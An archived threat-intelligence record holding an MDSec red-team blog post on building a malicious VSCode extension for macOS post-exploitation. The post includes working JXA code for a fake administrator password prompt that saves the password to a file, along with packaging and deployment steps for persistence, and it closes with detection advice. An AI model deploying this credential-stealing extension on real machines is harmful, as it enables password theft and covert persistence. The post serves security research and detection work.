{
	"id": "ad4c66a9-d47c-43f4-8de3-4fbec7e6f9fb",
	"created_at": "2026-04-06T02:12:38.943409Z",
	"updated_at": "2026-04-10T03:35:21.528768Z",
	"deleted_at": null,
	"sha1_hash": "0e9b74c0c3198eec7d2b84a67321e86eb860f814",
	"title": "macOS Post-Exploitation Shenanigans with VSCode Extensions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 586557,
	"plain_text": "macOS Post-Exploitation Shenanigans with VSCode Extensions\r\nBy Admin\r\nPublished: 2021-01-14 · Archived: 2026-04-06 01:37:37 UTC\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 1 of 11\n\nAdversary Simulation\r\nOur best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your\r\norganisation’s cyber resilience.\r\nApplication\r\nSecurity\r\nLeverage the team behind the industry-leading Web Application and Mobile Hacker’s Handbook series.\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 2 of 11\n\nPenetration\r\nTesting\r\nMDSec’s penetration testing team is trusted by companies from the world’s leading technology firms to\r\nglobal financial institutions.\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 3 of 11\n\nResponse\r\nOur certified team work with customers at all stages of the Incident Response lifecycle through our range\r\nof proactive and reactive services.\r\nResearch\r\nMDSec’s dedicated research team periodically releases white papers, blog posts, and tooling.\r\nTraining\r\nMDSec’s training courses are informed by our security consultancy and research functions, ensuring you\r\nbenefit from the latest and most applicable trends in the field.\r\nInsights\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 4 of 11\n\nView insights from MDSec’s consultancy and research teams.\r\nOverview\r\nIt’s no secret that macOS post-exploitation is often centric around targeting the installed apps for privilege\r\nescalation, persistence and more. Indeed, we’ve previously posted about approaches for code injection in macOS\r\napps in the past and would recommend a refresher if you’re unfamiliar with these techniques.\r\nOn a recent red team engagement, we were exploring the endpoint of a compromised engineer looking for\r\nopportunities to elevate. One of the apps the user was making heavy use of was VSCode which led to further\r\nresearch in to avenues to obtain code execution in the context of the app. As a supported means of code execution,\r\nperhaps the most obvious way to achieve this was through a “malicious” VSCode extension.\r\nThis post will cover how to create a malicious VSCode extension on macOS that can be used for further post-exploitation shenanigans.\r\nCreating an Extension\r\nVSCode supports a multitude of languages, but given it’s an Electron app we opted to create our backdoor\r\nextension using Node.\r\nTo fast track the extension development, you can create a basic VSCode template extension using Yeoman and the\r\nVS Code Extension Generator which can be installed using:\r\nnpm install -g yo generator-code\r\nOnce the modules are installed, run “ yo code ” and select “New Extension (JavaScript)”; follow the prompts as\r\nshown below to create your template:\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 5 of 11\n\nMy favourite IDE for developing VSCode backdoors is VSCode, open it up with “ code mdsecbackdoor ” and\r\nnavigate to the package.jso n file. Inside this file, you will discover a activationEvents configuration parameter.\r\nThis parameter defines the conditions on when the extension will execute and by default it is set to run when the\r\nrelevant VSCode command is executed; modify this to use a wildcard so it executes when VSCode opens as\r\nshown below:\r\n\"activationEvents\": [\r\n \"*\"\r\n],\r\nAt this point, when VSCode opens, your extension will execute the activate() function inside the\r\nextension.js file; the template provides a “helloworld” example, which you can remove.\r\nWeaponising the Extension\r\nAround the same time as working on this, I noticed the following message on the #mythic Slack channel from\r\n@antman1P which showed JXA trivially being executed inside an Electron app:\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 6 of 11\n\nThis feature was being achieve through the Node osascript module and the timing could not have been better. To\r\ntest whether this would work inside a VScode extension, install the osascript module using in your extension\r\nfolder:\r\nnpm install osascript --save\r\nExecuting JXA from inside your extension is relatively straightforward using the osascript module as you can\r\ntell it to eval your JavaScript (or execute embedded scripts as @antman1P later noted) using the following as an\r\nexample:\r\nfunction activate(context) {\r\nvar osascript = require('osascript').eval;\r\nvar script = `\r\n\u003c\u003c JXA CODE HERE \u003e\u003e\r\n`\r\nosascript(script, { type: 'JavaScript' }, function(err, data){\r\n})\r\n}\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 7 of 11\n\nPopup dialogues are a common occurrence on macOS and it is no secret that macOS users are highly trusting of\r\nthese; as an example of our nefarious post-ex, let’s pop up a credential dialogue with the following code:\r\nfunction activate(context) {\r\nvar osascript = require('osascript').eval;\r\nvar script = `ObjC.import(\"Foundation\")\r\nlet fileToWrite = '/tmp/pass.txt';\r\nvar app = Application.currentApplication();\r\napp.includeStandardAdditions = true;\r\nvar pathToIcon = Path(\"/Applications/Visual Studio Code.app//Contents/Resources/Code.icns\");\r\nvar alrtTxt = \\\\`Visual Studio Code wants to make changes. Enter the Administrator password for \\\\${$.N\r\nvar pswd = \"\";\r\nvar result = app.displayDialog(alrtTxt, {\r\ndefaultAnswer: \"\",\r\nwithTitle: \"Visual Studio Code.app\",\r\nwithIcon: pathToIcon,\r\nbuttons: [\"Cancel\", \"OK\"],\r\ndefaultButton: \"OK\",\r\nhiddenAnswer: true\r\n});\r\npswd = result[\"textReturned\"];\r\nwriteStringToFile(pswd, fileToWrite)\r\nfunction writeStringToFile(dataToWrite, pathToWriteTo) {\r\nvar data = $(dataToWrite).dataUsingEncoding(4); //4 is UTF8\r\nreturn (result = data.writeToFileAtomically(pathToWriteTo, true));\r\n}\r\n`\r\nosascript(script, { type: 'JavaScript' }, function(err, data){\r\nif(err)\r\n{\r\n}\r\n})\r\n}\r\nYou can test your extension from inside VSCode by hitting F5, at which point a Extension Development copy of\r\nVSCode should load and your dialogue prompt be presented:\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 8 of 11\n\nThis of course can also be leveraged as a persistence technique should you wish your extension to execute Mythic\r\nstager JXA.\r\nIn order to deploy this to a compromised endpoint, we now need to package it up. In order to do this, you need to\r\nedit the package.json file and add a UUID for a publisher. For our case, any will do and you can generate one with\r\npython using python -c 'import uuid; print(uuid.uuid4());' :\r\n\"publisher\": \"325b3bab-ef30-462f-bb4b-ab909f467be9\"\r\nTo package the extension, you can use the Node vsce module, install it then run the package command inside your\r\nextension folder:\r\nnpm install -g vsce\r\nvsce package\r\nThis will then create a vsix file which you can upload to the compromised endpoint:\r\nFrom the endpoint, the extension can then be deployed as follows:\r\nThe next time VSCode is opened, your extension will execute. If you’re using a credential popper, you probably\r\ndon’t want this to run every time so you can remove the extension simply by removing the associated folder from\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 9 of 11\n\nthe user’s ~/.vscode/extensions folder.\r\nDetection Opportunities\r\nIf we dive in to how the Node osascript module is working, you will quite quickly get an idea of what it’s\r\ndoing by looking what happens when you call eval, from index.js :\r\nAs you can guess, looking at the getSpawn() function, the module is simply calling “ osascript ” on the\r\ncommand line to execute the JXA:\r\nWe can confirm this by checking a process listing when opening VSCode:\r\nWith this in mind, there’s a few potential ways to detect this technique:\r\nFirstly, deployment of a new VSCode extension can be detected through command line logging and\r\nmonitoring for execution of the code binary with the --install-extension arguments. This of course is\r\nlikely to be prone to false positives, but may provide an initial thread for hunting with combined with other\r\ntelemetry.\r\nSimilarly, execution can be detected through execution of the “ osascript ” binary as a child process of\r\nVSCode, as shown in the process tree below:\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 10 of 11\n\nThis blog post was written by Dominic Chell.\r\nStay updated with the latest\r\nnews from MDSec.\r\nSource: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nhttps://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
	],
	"report_names": [
		"macos-post-exploitation-shenanigans-with-vscode-extensions"
	],
	"threat_actors": [
		{
			"id": "2864e40a-f233-4618-ac61-b03760a41cbb",
			"created_at": "2023-12-01T02:02:34.272108Z",
			"updated_at": "2026-04-10T02:00:04.97558Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "ETDA:WildCard",
			"tools": [
				"RustDown",
				"SysJoker"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "256a6a2d-e8a2-4497-b399-628a7fad4b3e",
			"created_at": "2023-11-30T02:00:07.299845Z",
			"updated_at": "2026-04-10T02:00:03.484788Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "MISPGALAXY:WildCard",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775441558,
	"ts_updated_at": 1775792121,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0e9b74c0c3198eec7d2b84a67321e86eb860f814.pdf",
		"text": "https://archive.orkl.eu/0e9b74c0c3198eec7d2b84a67321e86eb860f814.txt",
		"img": "https://archive.orkl.eu/0e9b74c0c3198eec7d2b84a67321e86eb860f814.jpg"
	}
}